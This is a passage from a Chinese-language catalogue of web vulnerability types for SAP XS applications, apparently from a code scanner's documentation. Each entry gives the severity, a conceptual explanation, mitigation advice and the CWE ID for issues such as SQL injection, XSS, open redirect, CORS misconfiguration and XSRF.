建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 首选通过动态执行用户控制的代码将用户数据传递给预实现的脚本，例如另一个隔离的应用程序中。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**XS Log Injection**
默认严重性	3
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取用户输入。然后，此元素的值将传递到代码，而不会进行合适的净化或验证，并最终在 Y（文件） 文件第 M 行的 YYY（方法） 中用于写审计日志。 这可能导致日志伪造攻击。
解释	攻击者可以为安全敏感操作设计审计日志，然后设置错误的审计跟踪，并指向无辜的用户或隐藏事件。 应用程序会在出现安全敏感操作时写审计日志。因为审计日志中包含未经过数据类型验证或随后净化的用户输入，所以输入中可能包含表面上像合法审计日志数据的虚假信息，
建议	无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值 验证不能代替编码。完全编码所有来源的所有动态数据，然后再将其嵌入日志。 使用安全的日志记录机制。
CWE	CWE ID 117
OWASP2017	None

返回目录

漏洞名称	**XS Open Redirect**
默认严重性	4
摘要	X（文件） 文件第 N 行 XX（元素） 元素提供的可能被污染的值被 Y（文件） 文件第 M 行 YY（元素） 元素用作目标 URL，这可能使攻击者可以执行开放重定向。
解释	攻击者可能使用社交工程让受害者点击指向此应用程序的某个链接，以此方式将用户立即重定向到另一个攻击者选好的另一个网站。然后攻击者可以伪造一个目标网站来欺骗受害者；例如，攻击者可能伪造一个钓鱼网站，其 UI 外观与之前网站的登录页面相同，其 URL 看起来与之前网站的相似，以此蒙骗用户在此攻击者的网站上提交自己的访问凭证。再比如，某些钓鱼网站的 UI 外观与常用支付服务的相同，以此蒙骗用户提交自己的支付信息。 应用程序将用户的浏览器重定向到由污染的输入提供的 URL，而未能先确保 URL 定向到可信任的目标，也未警告用户他们将被重定向到当前网站外部。攻击者可能使用社交工程让受害者点击指向此应用程序的链接，其中使用参数定义了另一个网站，以使应用程序将用户的浏览器重定向到此网站。因为用户可能没有注意到被重定向，他们可能会误以为他们当前浏览的网站是可信任的。
建议	理想情况下，不要允许任意 URL 进行重定向。而要创建由用户提供的参数值到合法 URL 的映射。 如果需要允许任意 URL: 对于应用程序站点内的 URL，先对用户提供的参数进行过滤和编码，然后执行以下操作之一: 创建在应用程序内允许的 URL 的白名单 将变量以同样的方式用作相对和绝对 URL，方法是为变量添加应用程序网站域的前缀 - 这可保证所有重定向都发生在域内 对于应用程序外的 URL（如必要），执行以下操作之一: 先通过可信任的前缀来筛选 URL，之后通过白名单重定向到所允许的外部域。前缀必须测试到第三个斜杠 [/] - scheme://my.trusted.domain.com/，以排除规避。例如，如果未验证到第三个斜杠 [/] 且 scheme://my.trusted.domain.com 是可信任的，则此过滤器会认为 URL scheme://my.trusted.domain.com.evildomain.com 是有效的，但实际浏览的域是 evildomain.com，而不是 domain.com。 为了实现完全动态开放重定向，请使用一个中间免责声明页面来明确警告用户正在离开此站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**XS Overly Permissive CORS**
默认严重性	3
摘要	X（文件） 文件第 N 行上的 XXX（方法） 方法设置了过度宽松的 CORS 访问控制来源标头。
解释	过于宽松的跨域资源共享 (CORS) 标头 "Access-Control-Allow-Origin" 可能会使其他网站的脚本可以访问、甚至篡改受影响的 web 应用程序上的资源。这些资源包括页面内容、Token 等，因此可能受到跨站点请求伪造 (CSRF) 或跨站点脚本 (XSS) 攻击、假冒用户执行操作，如更改密码或违反用户隐私。 默认情况下，现代浏览器会根据同源策略 (SOP) 禁止不同域之间的资源共享访问彼此的 DOM 内容、cookie jar 和其他资源，这是为了避免恶意 Web 应用程序攻击合法的 Web 应用程序及其用户。例如——网站 A 默认无法检索网站 B 的内容，因为这违反了 SOP。使用具体标头定义的跨域资源共享 (CORS) 策略可以放松这个严格的默认行为，允许跨站点通信。但是，如果使用不当，CORS 可能会允许过度地广泛信任 Web 应用程序，使其能够提交请求并获得 Web 应用程序的响应，从而执行意外的或潜在恶意的行为。 代码中的 Access-Control-Allow-Origin 被错误地设置为不安全的值。
建议	如果没有显式要求，请不要设置任何 CORS 标头。如果有需要，请考虑设置这些标头的业务需求，然后选择最严格的配置，例如可信任的白名单、安全和允许的域访问，同时使用其他 CORS 标头严格地提供所需的和预期的功能。
CWE	CWE ID 749
OWASP2017	None

返回目录

漏洞名称	**XS Parameter Tampering**
默认严重性	4
摘要	在 Y（文件） 文件第 M 行选择数据 YY（元素） 时，应用程序使用 X（文件） 文件第 N 行 XX（元素） 中的值作为限定参数。但是，所用的值可能会被通过用户输入篡改，使攻击者可能绕过访问控制以检索或影响选择的数据。
解释	根据实现方式，参数篡改攻击可能会通过暴露、更改或创建新数据影响保密性、完整性和可用性。具体取决于易受攻击的数据访问方法。 应用程序尝试根据值动态选择要检索或更改的数据；但是，此值是可变的，可能被攻击者操纵，允许攻击者提供不同的值，可能会访问攻击者的权限范围之外的数据。如果该数据或其相关功能是需要授权的，就可能会绕过此授权。 例如——考虑一个带用户配置文件的应用程序，更改电子邮件会提交参数 "userId" 和 "newEmail"。攻击者可以将 userId 替换为另一个用户的 ID 而不是攻击者自己的，然后使用“忘记密码”功能将账户恢复电子邮件发送到攻击者的邮箱，从而劫持该用户的账户。会发生这种情况是因为，在此例中，"userId" 是从用户输入中推导的（例如 POST 参数、GET 查询参数或 cookie），而不是服务器设置的可信任的源（例如，会话变量）。
建议	对动态数据执行任何授权 CRUD 操作时——一定要判断用户执行这些操作的授权 切勿依赖用户提供的值确定用户权限——应在成功验证身份后由服务器决定权限
CWE	CWE ID 472
OWASP2017	None

返回目录

漏洞名称	**XS Potentially Vulnerable To Clickjacking**
默认严重性	3
摘要	应用程序未使用 framebusting 脚本来保护 Y（文件） 网页免受旧版浏览器中的点击劫持攻击。
解释	点击劫持攻击使攻击者可以不可见的方式框架化设计一个应用程序并将其叠加在虚假网站前以“劫持”用户在网页上的鼠标点击。用户被蒙蔽来点击虚假网站时，例如，点击链接或按钮，用户的鼠标实际上点击的是目标网页，尽管这是看不见的。 这使攻击者能够制作一个覆盖层，点击后会导致用户在易受攻击的应用程序中执行非预期操作，例如，启用用户的网络摄像头、删除所有用户记录、更改用户的设置或导致点击欺诈。 点击劫持漏洞的根本原因是应用程序网页可以被加载到另一个网站的框架中。应用程序未实施正确的 frame-busting 脚本，此脚本可以防止页面被加载到其他框架中。请注意，还有很多类型的简化重定向脚本会使应用程序容易受到点击劫持技术的攻击，因此建议不要使用。 在使用现代浏览器时，应用程序会发出合适的 Content-Security-Policy 或 X-Frame-Options 标头来指示浏览器禁止框架化，以此避免此漏洞。但是，许多旧版浏览器不支持此功能，需要减少 Javascript 编码来实施更手动化的方法。要保证对旧版本的支持，就需要一个 framebusting 脚本。
建议	通用指南： 在服务器端定义并实施内容安全策略 (CSP)，包括 frame-ancestors 指令。在所有相关网页上实施 CSP。 如果需要将某些网页加载到框架中，请定义具体的白名单目标 URL。也可在所有 HTTP 响应上返回一个 "X-Frame-Options" 标头。如果需要允许将特定网页加载到框架中，可定义具体的白名单目标 URL。 对于旧版本而言，可使用 Javascript 和 CSS 实现 framebusting 代码，确保如果页面被框架化后不会显示代码，并尝试导航到框架来防止攻击。即使无法导航，页面也不会显示，因此没有交互性，也可以减少受到点击劫持攻击的机会。 具体建议： 在客户端上实现不容易受到 frame-buster-busting 攻击的正确 framebuster 脚本。 代码应该先禁用 UI，这样即使成功绕过 frame-busting，也无法单击 UI。这可以通过在 "body" 或 "html" 标记上将"display" 特性的 CSS 值设置为 "none" 来完成。这样做是因为，如果框架尝试重定向并成为父节点，仍然可以通过各种技术阻止恶意父节点重定向。 然后代码应通过比较 self === top 来确定是否没有发生框架化；如果结果为 true，则可以启用 UI。如果为 false，可将 top.location 特性设置为 self.location 来尝试离开框架页面。
CWE	CWE ID 693

返回目录

OWASP2017	None

返回目录

漏洞名称	**XS Reflected XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者只需在用户输入 XX（元素） 中提供修改的数据即可更改返回的网页，然后使用 X（文件） 文件第 N 行的 XXX（方法） 方法读取。然后这些输入无需净化即可经代码直接到达输出网页。 这样就可以发起反射跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可能使用社交工程使用户向网站发送修改的输入，然后在请求的网页中返回。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式

返回目录

	预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**XS Response Splitting**
默认严重性	4
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取用户输入。然后，此元素的值将传递到代码，而不会进行合适的净化或验证，并最终在 Y（文件） 文件第 M 行 YYY（方法） 方法中用于一个 HTTP 响应头中。在某些无法防御 HTTP 响应拆分攻击的旧版本中，这会导致此类攻击。
解释	如果标头设置代码是有漏洞的版本，则攻击者可能： 通过操纵标头，任意将应用程序服务器的响应标头更改为受害者的 HTTP 请求 通过注入两个连续的换行符任意更改应用程序服务器的响应主体，这可能导致跨站点脚本 (XSS) 攻击 导致缓存中毒，可能控制所有网站的 HTTP 响应（这些响应需要通过与此应用程序相同的代理）。 因为 HTTP 响应头中使用了用户输入，所以攻击者可以添加 NewLine 字符使标头看起来像是包含已经过工程设计的内容的多个标头，从而可能使响应看起来像多个响应（例如，通过设计重复的内容长度标头）。这可能导致组织的代理服务器为受害者的后续请求提供第二个经过工程设计的响应；或者，如果代理服务器也执行响应缓存，攻击者可以立即向另一个站点发送后续请求，使代理服务器将设计的响应缓存为来自该第二站点的响应，稍后再将该响应提供给其他用户。 许多现代 Web 框架默认对插入标头的字符串中的换行符进行净化，从而可以解决此问题。但是，因为许多旧版本的 Web 框架无法自动解决此问题，所以可能需要手动净化输入。
建议	验证所有来源的所有输入（包括 cookie）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小 范围 格式 预期值 此外，将用户输入添加到响应标头前，先删除或 URL 编码所有特殊（非字母）字符。 一定要使用最新的框架。
CWE	CWE ID 113
OWASP2017	None

返回目录

漏洞名称	**XS Second Order SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可将任意数据写入数据库，然后被应用程序使用 X（文件）文件第 N 行 XXX（方法） 方法中的 XX（元素） 获取。然后这些数据传递到代码，未经净化便在 SQL 查询中直接使用，然后提交给数据库服务器执行。 这可能导致二阶 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 为了利用此漏洞，攻击者通常会通过其他网页上的表单将恶意负载加载到数据库中。然后，应用程序从数据库中读取这些数据，并将其作为 SQL 命令嵌入 SQL 查询。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。

返回目录

	不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。 另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	None

返回目录

漏洞名称	**XS SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者将能够通过设计恶意有效负载并通过输入 XX（元素） 在 SQL 查询中注入任意语法和数据；然后由 X（文件） 文件第 N 行的 XXX（方法） 方法读取此输入。然后该输入无需净化即可经代码进入查询和到达数据库服务器。 这可能会导致 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。 不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。

返回目录

	另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	None

返回目录

漏洞名称	**XS Stored Code Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可以将有效负载插入数据库或本地文件中的标准文本字段来注入执行的代码。此文本由 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素） 检索，然后发送到执行方法。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 首选通过动态执行用户控制的代码将用户数据传递给预实现的脚本，例如另一个隔离的应用程序中。
CWE	CWE ID 94
OWASP2017	None

返回目录

漏洞名称	**XS Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可以通过提前在数据存储中保存恶意数据来更改返回的网页。然后 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素）从数据库读取攻击者修改的数据。然后这些不可信任的数据无需净化即可经代码到达输出网页。 这样就可以发起存储跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可以使用应用程序的合法权限提交修改后的数据到应用程序的数据存储。然后这会被用于构造返回的网页，从而触发攻击。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 为了利用此漏洞，攻击者通常会通过其他网页上的常规表单将恶意负载加载到数据存储中。然后，应用程序从数据存储中读取这些数据，并将其嵌入显示给另一个用户的网页。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小

返回目录

	范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**XS Unencrypted Data Transfer**
默认严重性	3
摘要	此 XS 应用程序未强制加密流量。
解释	应用程序可能通过未加密的 HTTP 通道传输数据，使其可能因中间人攻击而被泄漏或篡改。 .xsaccess 应用程序配置中的标记 force_ssl 未显式设置为 true，或者完全缺失，导致默认 false 行为。不通过此标记实施 SSL 会使应用程序能够通过 HTTP 通信。
建议	一定要通过将 force_ssl 设置为 true 来显式在应用程序中实施 SSL。
CWE	CWE ID 319
OWASP2017	None

返回目录

漏洞名称	**XS Use Of Hardcoded URL**
默认严重性	4
摘要	Y（文件） 文件第 M 行上的 URL YY（元素） 是绝对网址，可能指向内部 API。
解释	披露内部 API 的 URL 可能会向攻击者披露其地址。 一个内部 URL 被硬编码到应用程序代码中。
建议	引用资源的相对路径，而不要使用内部 API 的绝对 URL。
CWE	CWE ID 798
OWASP2017	None

返回目录

漏洞名称	**XS XSRF**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。 在某些情况下，应用程序中虽然存在 XSRF 保护功能，但并未实施或被显式禁用。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。 使用 XSRF 保护时一定要使用最佳做法——一定要尽量启用内置功能或可用的库。 使用应用程序范围的 XSRF 保护时，不要明确禁用或破坏特定功能的 XSRF 保护，除非已经充分验证所述功能不需要 XSRF 保护。
CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**XSRF**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法所获取的参数来自于用户对 XX（元素） 的请求。然后，此参数值将传递到代码，并最终用于访问可以更改应用程序状态的功能。这可能导致跨站点请求伪造(XSRF)。
解释	攻击者可以使受害者执行任何操作，这些操作是被受害者授权的，例如从受害者账户里转移资金给攻击者账户。该操作将被记录为是受害者执行的，在受害者的账户环境里发生的，并且受害者他们自己可能完全不知情。 应用程序纯粹根据 HTTP 请求内容执行修改数据库内容的某些操作，并且不需要每次请求更新后的身份验证（例如交易验证码或同步器 token），相反仅依赖于会话身份验证。这意味着攻击者可以使用社交工程使受害者浏览一个链接，该链接包含有一个指向有漏洞的应用程序的交易请求，从用户的浏览器提交该请求。当应用程序接收到该请求后，它将会信任受害者的会话，然后执行该操作。这种类型的攻击被称作跨站请求伪造（XSRF 或 CSRF）。 跨站请求伪造攻击依靠的是服务器和经过身份验证的客户端之间的信任。通过仅验证会话，服务器可确保请求是从客户的浏览器发出的。但是，任何网站都可以向其他网站提交 GET 和 POST 请求，如果 cookie 中有会话 token 的话，浏览器就会自动把它加到请求里。这个跨站请求就会被信任了，因为它是从用户的浏览器发出的，但却不验证发出此请求是否是客户们的意图。 在某些情况下，应用程序中虽然存在 XSRF 保护功能，但并未实施或被显式禁用。
建议	缓解 XSRF 需要额外一层身份验证，该验证需内置到请求校验机制中。此机制将附加一个额外的 token，该 token 仅适用于指定用户；该 token 将在用户的网页中有效，但不会被自动附加到来自其他网站的一次请求里（即就是，不会存储在 cookie 中）。因为 token 不会被自动附加到该请求里，而且也是攻击者无法获得的，而且是服务器处理该请求所必需的，攻击者想要填写包含此 token 的一个有效跨站表单是完全不可能的。 很多平台都提供内置的 XSRF 缓解功能，请使用这些平台，这些平台都在底层执行这种类型的 token 管理。或者，也可使用已添加此功能的熟知的或可信任的第三方库。 如果实现 XSRF 保护是必需的，则此保护应遵循以下规则: 任何更改状态的表单（创建、更新、删除操作）都应该强制实行 XSRF 保护，方法是在客户端为每个更改状态的表单提交添加一个 XSRF token。 应当生成一个 XSRF token，而且对于每个用户每个会话（并且建议也对每次请求）都是唯一的。

返回目录

	XSRF token 应当被嵌入到客户端侧表单中，并作为表单请求的一部分提交给服务器。例如，它可以是 HTML 表单中的隐藏字段，也可以是被 Javascript 请求所添加的自定义 header。 然后，在一次请求被授权且视作有效请求以进行处理之前，请求正文或自定义 header 中的 XSRF token 必须被服务器核实是否属于当前用户。 使用 XSRF 保护时一定要使用最佳做法——一定要尽量启用内置功能或可用的库。 使用应用程序范围的 XSRF 保护时，不要明确禁用或破坏特定功能的 XSRF 保护，除非已经充分验证所述功能不需要 XSRF 保护。
CWE	CWE ID 352
OWASP2017	None

返回目录